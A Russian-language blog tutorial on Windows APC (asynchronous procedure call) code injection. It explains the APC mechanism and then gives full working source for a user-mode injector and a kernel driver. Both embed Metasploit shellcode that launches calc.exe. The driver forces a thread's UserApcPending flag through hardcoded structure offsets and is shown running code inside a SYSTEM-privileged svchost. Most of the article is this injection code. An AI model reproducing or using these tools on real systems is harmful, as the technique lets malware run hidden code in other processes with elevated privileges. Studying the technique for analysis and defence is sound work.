APC injects
Всем привет! Что если вас попросят перечислить методы внедрения кода под Windows? Думаю, вам в первую очередь придёт в голову — метод создания удалённых потоков. И в самом деле, что может быть проще, чем выделить память в другом процессе, скопировать туда код и передать на него управление, создав новый поток с направленной точкой входа на внедрённый код. Либо, можно изменить IP регистр какого-либо потока на внедрённый нами код, используя функцию SetThreadContext. В обоих случаях потоки, будут работать в контексте их родительского процесса. Но есть ещё одна возможность выполнения кода, в контексте целевого потока! Как это так! Чтобы ещё больше вас заинтересовать, эту технику использует буткит Black Internet Trojan, когда внедряет свой код из неразмеченной части жёсткого диска в поток процесса Winlogon. Круто да? Сегодня мы разберём данную технику внедрения кода как в пользовательском режиме, так и в режиме ядра и напишем пару тулз, чтобы закрепить материал. Но, для начала, давайте всё-таки разберёмся что такое APC
Asynchronous Procedure call

Поля структуры _KAPC
Асинхронный вызов процедур. Наверное, вы сразу подумали, что тут речь пойдёт о прерываниях и исключениях? Ну раз так, то не буду вас разочаровывать и выделю для них немного места в статье. Начнём с того, что в исполнительной системе Windows существуют механизмы, позволяющие «отвлечь» процессор от выполнения какого-либо кода. Это либо прерывания, либо исключения. Обработка прерываний (диспетчеризация) начинается после наступления события, вызвавшего само прерывание. События могут инициироваться либо программно, либо железяками, подключёнными к компу. Исключения в отличии от прерывания, являются более-менее запланированными. Поэтому прерывания — асинхронная штуковина, а исключения — синхронная. Генерироваться они (прерывания и исключения) могут как программно, так и аппаратно. Кстати говоря, программное прерывание может быть выдано самим ядром. В данный момент, нас будут интересовать именно программные прерывания. APC — одна из задач Windows, которая решается методом генерации программного прерывания. APC всегда выполняются в контексте целевого потока. APC вызовы представляются как объект, рассмотреть который можно, набрав команду «dt _KAPC».
Данные объекты ядра можно выставить в очередь на выполнения конкретному потоку. Когда поток начнёт своё выполнение, то сначала выполнятся все APCхи, стоящие в очереди (если я не прав, поправьте меня). APC вызовы бывают двух типов: режима ядра и режима пользователя. В режиме пользователя поток может и не разрешить выполнение APC вызова. Чтобы APC выполнилась, поток должен находиться в сигнальном состоянии. Например, поток подвис на выполнении SleepEx.
User Mode
Давайте попробуем написать свою программулину в пользовательском режиме, которая будет инжектить shell code в какой-нибудь процесс и вставлять APC в какой-нибудь поток данного процесса.Алгоритм будет следующий:
- Получаем дескриптор процесса по его идентификатору
- Выделяем в целевом процессе память под shell code с нужными правами
- Перечисляем все потоки процесса
- Вставляем в поток APC объект в очередь выполнения, используя API функцию QueueUserAPC.
Как вы видите, за исключением двух последних пунктов, у нас всё делается тоже самое, что и при методе создания удалённых потоков. Поэтому давайте сразу посмотрим на исходный код программы, реализующей этот алгоритм.
#include <Windows.h> #include <TlHelp32.h> #include <stdio.h> #define STATUS_SUCCESS 0 /*exec calc.exe*/ char shellcode[] = "\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b" "\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9" "\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc" "\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b" "\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde" "\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08" "\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d" "\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c" "\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f" "\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c" "\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06" "\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf" "\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f" "\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33" "\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07" "\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c" "\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8" "\xab\xd5"; BOOL InsertAPC(DWORD pid, PVOID shellcode) { DWORD result = 0; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess != INVALID_HANDLE_VALUE) { HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap != INVALID_HANDLE_VALUE) { THREADENTRY32 threadEntry; threadEntry.dwSize = sizeof(THREADENTRY32); if (Thread32First(hThreadSnap, &threadEntry)) { DWORD threadId; HANDLE hThread; PAPCFUNC pfnAPC; do { if (threadEntry.th32OwnerProcessID == pid) { threadId = threadEntry.th32ThreadID; hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId); if (hThread != INVALID_HANDLE_VALUE) { pfnAPC = (PAPCFUNC)shellcode; result = QueueUserAPC(pfnAPC, hThread, (ULONG_PTR)NULL); CloseHandle(hThread); //if (result) //break; } } } while (Thread32Next(hThreadSnap, &threadEntry)); } } CloseHandle(hThreadSnap); CloseHandle(hProcess); } return result; } DWORD GetProcessPid(LPWSTR processName) { DWORD pid = 0; HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap != INVALID_HANDLE_VALUE) { PROCESSENTRY32 processEntry; processEntry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hProcessSnap, &processEntry)) do { if (!wcscmp(processEntry.szExeFile, processName)) { pid = processEntry.th32ProcessID; break; } } while (Process32Next(hProcessSnap, &processEntry)); CloseHandle(hProcessSnap); return pid; } } LPVOID injectShellcode(DWORD pid, LPVOID shellCode, DWORD size) { LPVOID result = NULL; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess != INVALID_HANDLE_VALUE) { LPVOID memory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (memory) if (WriteProcessMemory(hProcess, memory, shellCode, size, NULL)) result = memory; CloseHandle(hProcess); } return result; } LPWSTR processName = L"Scylla_x86.exe"; extern "C" int main() { DWORD pid = GetProcessPid(processName); if (pid) { LPVOID buf = injectShellcode(pid, shellcode, strlen(shellcode)); if (buf) { if (InsertAPC(pid, buf)) printf("+ %S pid: %d\n", processName, pid); else printf("- %S pid: %d\n", processName, pid); } } system("pause"); return 0; }
В данном примере я взял шелкод с метасплойта, который запускает калькулятор и после этого завершает целевой поток. Удачнее было бы взять пример шелкода, который бы не завершал целевой поток, но мне было лень и я взял, какой был под рукой. Поэтому, при выполнении APC вызова, у нас поток доложен завершиться, но калькулятор всё равно должен запуститься. Давайте проверим!

user mode APC inject — результат работы
Да! Это работает!
Kernel Mode
Ну, теперь пришло время разобраться, как можно сделать то же самое, только из режима ядра. Мы напишем две программы: приложение, которое будет передавать нашему драйверу id процесса, в поток которого будет вставляться APCха и сам драйвер, который будет инжектить тот же самый shell код в адресное пространство нужного нам процесса и вставлять APC вызов в очередь контекста выполнения целевого потока. Если в предыдущем примере у нас APCха вставлялась во все потоки (лучше бы, конечно, проверять состояние потока, и если он находится в сигнальном, то только тогда вставлять объект APC, но мне, в общем вы догадались что), то в этот раз мы принудительно изменим поток в сигнальное состояние. Чтобы это сделать, там нужно изменить с 0 на 1 поле ApcState.UserApcPending в структуре _KTHREAD структуры _ETHREAD, которая описывает объект ядра — поток. Поле ApcState в _ETHREAD в моей версии винды находится по смещению 0x40 байт. Поле UserApcPending находится по смещению 0x16 байт относительно ApcState. Эти структуры недокументированные и смещения в них могут изменяться от версии к версии. Для примера я захардкодил их, но в реальных программах их нужно научиться получать динамически. Обычно это делается путём поиска каких-либо закономерностей. В вашем случае вы можете получить смещения используя отладчик ядра.

Дамп структур _KAPC_STATE и часть _KTHREAD
Прежде чем вставлять APCху, мы должны её инициализировать, впрочем, как и любой другой объект ядра. Для этого используется функция KeInitializeApc. После этого APCха уже вставляется в очередь, вызовом функции KeInsertQueueApc. Давайте рассмотрим прототипы этих функций.
NTKERNELAPI VOID KeInitializeApc( PKAPC Apc, PKTHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext ); NTKERNELAPI BOOLEAN KeInsertQueueApc( PRKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); typedef VOID (*PKKERNEL_ROUTINE)( PKAPC Apc, PKNORMAL_ROUTINE *NormalRoutine, PVOID *NormalContext, PVOID *SystemArgument1, PVOID *SystemArgument2 ); typedef VOID (*PKRUNDOWN_ROUTINE)( PKAPC Apc ); typedef VOID (*PKNORMAL_ROUTINE)( PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2 ); typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, InsertApcEnvironment } KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT;
Поле Environment определяет в какой среде будет выполняться APC. Например, OriginalApcEnvironment говорит о том, что APC будет выполняться в том же контексте, в каком выполняется и целевой поток. APC в режиме ядра бывают двух видов: специальные и нормальные. Специальные выполняются с уровнем приоритета выполнения IRQL APC_LEVEL, а нормальные — с самым низким, PASSIVE_LEVEL. KernelRoutine — как раз та функция, которая будет выполнена в режиме ядра с IRQL равным APC_LEVEL, а NormalRoutine — с PASSIVE_LEVEL. RundownRoutine — функция, которая выполнится, когда поток завершится. NormalContext — параметр, который будет передаваться функции NormalRoutine. Остальные параметры описывать не буду, так как они очевидны. После того, как мы инициализировали объект APC, мы должны его поставить в очередь, используя KeInsertQueueApc. В неё мы передаём уже инициализированный объект APC, SystemArgument1/2 — необязательные аргументы, поэтому мы их рассматривать не будем. Increment — это приоритет выполнения. Ну хватит теории, давайте кодить! Начнём с приложухи.
#include <iostream> #include <Windows.h> #include "..\..\DriverStarter\DeiverStarter\DriverStarter.h" using namespace std; //возвращает полную текущую диру char *getFullCurrentDir() { char *path = (char *)calloc(MAX_PATH, sizeof(char)); HMODULE module = GetModuleHandleA(NULL); GetModuleFileNameA(module, path, MAX_PATH); for (int i = strlen(path); i > 1; i--) if (path[i] == '\\') { path[i + 1] = '\0'; break; } return path; } int main() { DWORD pid; char *file = "InjectAPC.sys"; char *deviceName = "InjectAPC"; char *serciceName = "InjectAPCservice"; char *displayName = "InjectAPCservice"; char *fullPath = getFullCurrentDir(); strcat(fullPath, file); DriverStarter driver(fullPath, serciceName, displayName); DriverSender sender(deviceName); cout <;<; driver.getDriverPath() <;<; endl; driver.LoadDriver(); do { cout <;<; "Pid to inject: "; cin >> pid; sender.Write(&pid, sizeof(DWORD)); } while (pid); sender.~DriverSender(); driver.UnloadDriver(); driver.~DriverStarter(); system("pause"); free(fullPath); return 0; }
Тут ничего сложного нет. Просто есть два объекта, один подгружает драйвер (DriverStarter), а другой управляет им (DriverSender). Если вам интересны исходники этих классов, то пишите в коменты. Я их не публикую, так как статья не об этом. Тут программа ждёт ввода id процесса, который затем отправляет драйверу. А вот и код драйвера:
#include <ntifs.h> #include <string.h> #include <Ntstrsafe.h> #pragma comment(lib,"ntoskrnl.lib") #pragma comment(lib,"Ntstrsafe.lib") #define deviceName L"\\Device\\injectAPC" #define symbolicName L"\\DosDevices\\injectAPC" #ifndef SystemProcessAndThreadInformation #define SystemProcessAndThreadInformation 5 #endif #ifndef INVALID_HANDLE_VALUE #define INVALID_HANDLE_VALUE 0xFFFFFFFF #endif /*exec calc.exe*/ char shellcode[] = "\x47\xf9\x93\x9b\x58\x9f\x4a\xf5\x5a\xf5\x16\x48\x4d\x5b" "\xf8\xfd\x52\x99\x06\x50\xd9\xcc\xbe\x56\x6c\xdf\xb1\xd9" "\x74\x24\xf4\x5f\x2b\xc9\xb1\x31\x31\x77\x18\x83\xef\xfc" "\x03\x77\x42\x8e\x2a\x4d\x82\xcc\xd5\xae\x52\xb1\x5c\x4b" "\x63\xf1\x3b\x1f\xd3\xc1\x48\x4d\xdf\xaa\x1d\x66\x54\xde" "\x89\x89\xdd\x55\xec\xa4\xde\xc6\xcc\xa7\x5c\x15\x01\x08" "\x5d\xd6\x54\x49\x9a\x0b\x94\x1b\x73\x47\x0b\x8c\xf0\x1d" "\x90\x27\x4a\xb3\x90\xd4\x1a\xb2\xb1\x4a\x11\xed\x11\x6c" "\xf6\x85\x1b\x76\x1b\xa3\xd2\x0d\xef\x5f\xe5\xc7\x3e\x9f" "\x4a\x26\x8f\x52\x92\x6e\x37\x8d\xe1\x86\x44\x30\xf2\x5c" "\x37\xee\x77\x47\x9f\x65\x2f\xa3\x1e\xa9\xb6\x20\x2c\x06" "\xbc\x6f\x30\x99\x11\x04\x4c\x12\x94\xcb\xc5\x60\xb3\xcf" "\x8e\x33\xda\x56\x6a\x95\xe3\x89\xd5\x4a\x46\xc1\xfb\x9f" "\xfb\x88\x91\x5e\x89\xb6\xd7\x61\x91\xb8\x47\x0a\xa0\x33" "\x08\x4d\x3d\x96\x6d\xb1\xdf\x33\x9b\x5a\x46\xd6\x26\x07" "\x79\x0c\x64\x3e\xfa\xa5\x14\xc5\xe2\xcf\x11\x81\xa4\x3c" "\x6b\x9a\x40\x43\xd8\x9b\x40\x20\xbf\x0f\x08\x89\x5a\xa8" "\xab\xd5"; typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, InsertApcEnvironment }KAPC_ENVIRONMENT,*PKAPC_ENVIRONMENT; typedef struct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitches; ULONG ThreadState; KWAIT_REASON WaitReason; }SYSTEM_THREAD_INFORMATION,*PSYSTEM_THREAD_INFORMATION; NTSTATUS ZwQuerySystemInformation(ULONG InfoClass,PVOID Buffer,ULONG Length,PULONG ReturnLength); LPSTR PsGetProcessImageFileName(PEPROCESS Process); void KeInitializeApc( PRKAPC Apc, PRKTHREAD Thread, KAPC_ENVIRONMENT Environment, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ProcessorMode, PVOID NormalContext ); BOOLEAN KeInsertQueueApc( PRKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, KPRIORITY Increment ); typedef void *LPVOID; typedef unsigned long int DWORD; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER WorkingSetPrivateSize; ULONG HardFaultCount; ULONG NumberOfThreadsHighWatermark; ULONGLONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE UniqueProcessId; HANDLE InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; ULONG_PTR UniqueProcessKey; SIZE_T PeakVirtualSize; SIZE_T VirtualSize; ULONG PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T PrivatePageCount; LARGE_INTEGER ReadOperationCount; LARGE_INTEGER WriteOperationCount; LARGE_INTEGER OtherOperationCount; LARGE_INTEGER ReadTransferCount; LARGE_INTEGER WriteTransferCount; LARGE_INTEGER OtherTransferCount; SYSTEM_THREAD_INFORMATION Threads[1]; }SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; /*************************************ENTRY/UNLOAD****************************************/ NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath); void UnloadRoutine(IN PDRIVER_OBJECT pDeviceObject); /*****************************************************************************************/ /**************************************CTL DISPATCHER*************************************/ NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp); NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject, IN PIRP); NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP); NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject, IN PIRP); NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject, IN PIRP); /**********************************************************************************/ /*************************GLOBAL VAR**************************/ UNICODE_STRING SymbolicLinkName; PDEVICE_OBJECT deviceObject; void APCKernelRoutine( IN PKAPC pKAPC, IN PKNORMAL_ROUTINE pUserAPC, IN PVOID pContext, IN PVOID pSysArg1, IN PVOID pSysArg2 ) { DbgPrint("APC Kernel Routine Entered\n"); ExFreePool(pKAPC); return; } DWORD InsertApc(PEPROCESS eProcess, LPVOID shellcode_, DWORD shellcodeSize) { PSYSTEM_PROCESS_INFORMATION processInfo; LPVOID processInformaionBuffer; PKAPC_STATE ApcState; PKAPC apc; DWORD size = 0; PETHREAD eThread = NULL; LPVOID memory = NULL; NTSTATUS status = INVALID_HANDLE_VALUE; DWORD ApcStateOffset = 0x40; DWORD pid = (DWORD)PsGetProcessId(eProcess); if (pid) { status = ZwQuerySystemInformation(SystemProcessAndThreadInformation, NULL, 0, &size); if (status == STATUS_INFO_LENGTH_MISMATCH) { processInformaionBuffer = ExAllocatePool(NonPagedPool, size); status = ZwQuerySystemInformation(SystemProcessAndThreadInformation, processInformaionBuffer, size, NULL); if (processInformaionBuffer && NT_SUCCESS(status)) { processInfo = (PSYSTEM_PROCESS_INFORMATION)processInformaionBuffer; while (processInfo->NextEntryOffset) { if ((DWORD)processInfo->UniqueProcessId == pid) { DbgPrint("Process name: %s\n", PsGetProcessImageFileName(eProcess)); status = PsLookupThreadByThreadId(processInfo->Threads[0].ClientId.UniqueThread, &eThread); if (NT_SUCCESS(status)) { DbgPrint("Thread has been found!: 0x%08x, id: %d", eThread, PsGetThreadId(eThread)); KeAttachProcess(eProcess); status = ZwAllocateVirtualMemory(NtCurrentProcess(), &memory, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (NT_SUCCESS(status)) { // Set KAPC_STATE.UserApcPending on. //+0x040 ApcState : _KAPC_STATE in _KTHREAD // +0x016 UserApcPending : UChar in _KAPC_STATE *((unsigned char *)eThread + 0x40+0x16) = 1; DbgPrint("Allocated memory for shellcode!: 0x%08x", memory); memcpy(memory, shellcode_, shellcodeSize); apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC)); if (apc) { RtlZeroMemory(apc, sizeof(KAPC)); KeInitializeApc(apc, eThread, OriginalApcEnvironment, (PKKERNEL_ROUTINE)APCKernelRoutine, NULL, (PKNORMAL_ROUTINE)memory, //shell code UserMode, &size); status = KeInsertQueueApc(apc, NULL, NULL, 0); //ObDereferenceObject(eThread); //ObDereferenceObject(eProcess); DbgPrint("It Done!\n"); } } ZwFreeVirtualMemory(NtCurrentProcess(), memory, &size, MEM_RELEASE); KeDetachProcess(); } } processInfo = (PSYSTEM_PROCESS_INFORMATION) ((PUCHAR)processInfo + processInfo->NextEntryOffset); } } ExFreePool(processInformaionBuffer); } } return status; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDeviceObject, IN PUNICODE_STRING RegistryPath) { NTSTATUS status; UNICODE_STRING DeviceName; PDRIVER_DISPATCH *pDispacher; DWORD pid = 0; PEPROCESS process = NULL; RtlInitUnicodeString(&DeviceName, deviceName); RtlInitUnicodeString(&SymbolicLinkName, symbolicName); status = IoCreateDevice(pDeviceObject,0,&DeviceName,FILE_DEVICE_NULL,0,FALSE,&deviceObject); if (status == STATUS_SUCCESS) { status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName); pDispacher = pDeviceObject->MajorFunction; pDeviceObject->DriverUnload = UnloadRoutine; pDispacher[IRP_MJ_DEVICE_CONTROL] = CtlDriverDispatch; pDispacher[IRP_MJ_WRITE] = CtlDriverDispatchWrite; pDispacher[IRP_MJ_READ] = CtlDriverDispatchRead; pDispacher[IRP_MJ_CREATE] = CtlCreate; pDispacher[IRP_MJ_CLOSE] = CtlClose; DbgPrint("driver loaded!\n"); return status; } DbgPrint("driver not loaded!"); return status; } void UnloadRoutine(IN PDRIVER_OBJECT pDeviceObject) { NTSTATUS status; status = IoDeleteSymbolicLink(&SymbolicLinkName); if (status == STATUS_SUCCESS) { IoDeleteDevice(deviceObject); DbgPrint("driver has been unloaded!\n"); return; } DbgPrint("driver has`t been unloaded!"); } NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp) { Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp) { PIO_STACK_LOCATION pIrpStack; DWORD pid; PEPROCESS process; pIrpStack=IoGetCurrentIrpStackLocation(Irp); Irp->IoStatus.Information = 0; DbgPrint("Write!\n"); if (pIrpStack->MajorFunction == IRP_MJ_WRITE) { __try { ULONG Length = pIrpStack->Parameters.Write.Length; memcpy(&pid, Irp->UserBuffer, sizeof(DWORD)); DbgPrint("pid:%d \n", pid); if (PsLookupProcessByProcessId((HANDLE)pid, &process) == STATUS_SUCCESS) { DbgPrint("process: %s, pid: %d, _EPROCESS: 0x%08x\n", PsGetProcessImageFileName(process), pid, process); if (process) InsertApc(process, shellcode, sizeof(shellcode)); } } __except(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("Error CtlDriverDispatchWrite"); } } Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp) { Irp->IoStatus.Information = 0; Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp) { Irp->IoStatus.Status=STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp) { Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp,IO_NO_INCREMENT); return STATUS_SUCCESS; }
Тестим!

Kernel mode APC inject в действии
Если немного поиграться, то можно вот что увидеть:

Результат работы APC
На скрине видно, что удалось выполнить APC в контексте потока процесса svchost, который имеет системные привилегии. Но ещё бы! Ведь мы использовали драйвер!
Список литературы:
Bruce Dang, Alexandre Gazet, Elias Bachaalany — Practical Reverse Engineering
Russinovich — windows internals
If you found an error, highlight it and press Shift + Enter or click here to inform us.